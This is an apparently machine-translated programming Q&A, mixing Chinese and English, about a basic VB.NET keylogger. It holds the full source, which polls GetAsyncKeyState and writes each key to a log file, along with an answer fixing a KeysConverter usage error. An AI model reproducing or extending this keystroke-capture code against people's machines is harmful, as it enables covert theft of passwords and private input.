无法在键盘记录程序中使用 KeysConverter

Unable to use KeysConverter in a keylogger program

我正在尝试创建一个基本的键盘记录程序。我对网络安全很感兴趣,想了解更多。我已经从各种来源散列了下面的代码。 行 text = converter.ToString(i) 生成索引越界错误。 我在想这是因为对象转换器没有像它应该的那样被实例化??但是如何解决呢?

Imports System.IO
Imports System.Text
Imports System.Windows.Forms
Imports System.Runtime.InteropServices
Imports System.Threading

Module Module1
     Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
Sub Main()
    Dim filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)
    filepath &= "\LogsFolder\"

    If (Not Directory.Exists(filepath)) Then
        Directory.CreateDirectory(filepath)
    End If

    Dim Path = (filepath & "LoggedKeys.text")

    If Not File.Exists(Path) Then
        Using sw As StreamWriter = File.CreateText(Path)
        End Using
    End If

    Dim Converter = New KeysConverter()
    Dim text As String = ""

    While (True)
        Thread.Sleep(5)
        For i As Integer = 0 To 1999
            Dim key = GetAsyncKeyState(i)
            If key = 1 Or key = -32767 Then
                text = converter.ToString(i)
                Using sw As StreamWriter = File.AppendText(Path)
                    sw.WriteLine(text)
                End Using
                Exit For
            End If
        Next
    End While

End Sub

End Module

您似乎在寻找 ConvertToString 方法。

替换以下行:

text = converter.ToString(i)

与:

text = converter.ConvertToString(i)

编辑以在评论中解决您的问题:

I get a syntax error, 'ConvertToString' is not a member of KeysConverter... it sounds like my instantiation has not worked.

将鼠标光标悬停在 Converter 变量上并仔细检查其类型。确保 KeysConverter 实际上是 System.Windows.Forms.KeysConverter class 而不是某种本地生成的 class.

MyImports System.Windows.Forms statement is ghosted - suggesting that its never used.

这就是我所怀疑的。您似乎在控制台应用程序中,并且正在访问 System.Windows.Forms 命名空间 中的 class,该名称空间 未包含在控制台应用程序中 。您需要添加对 System.Windows.Forms.dll 的引用,如 this answer.

中所述

此外,确保从项目中找到并删除生成的 KeysConverter class,以避免冲突。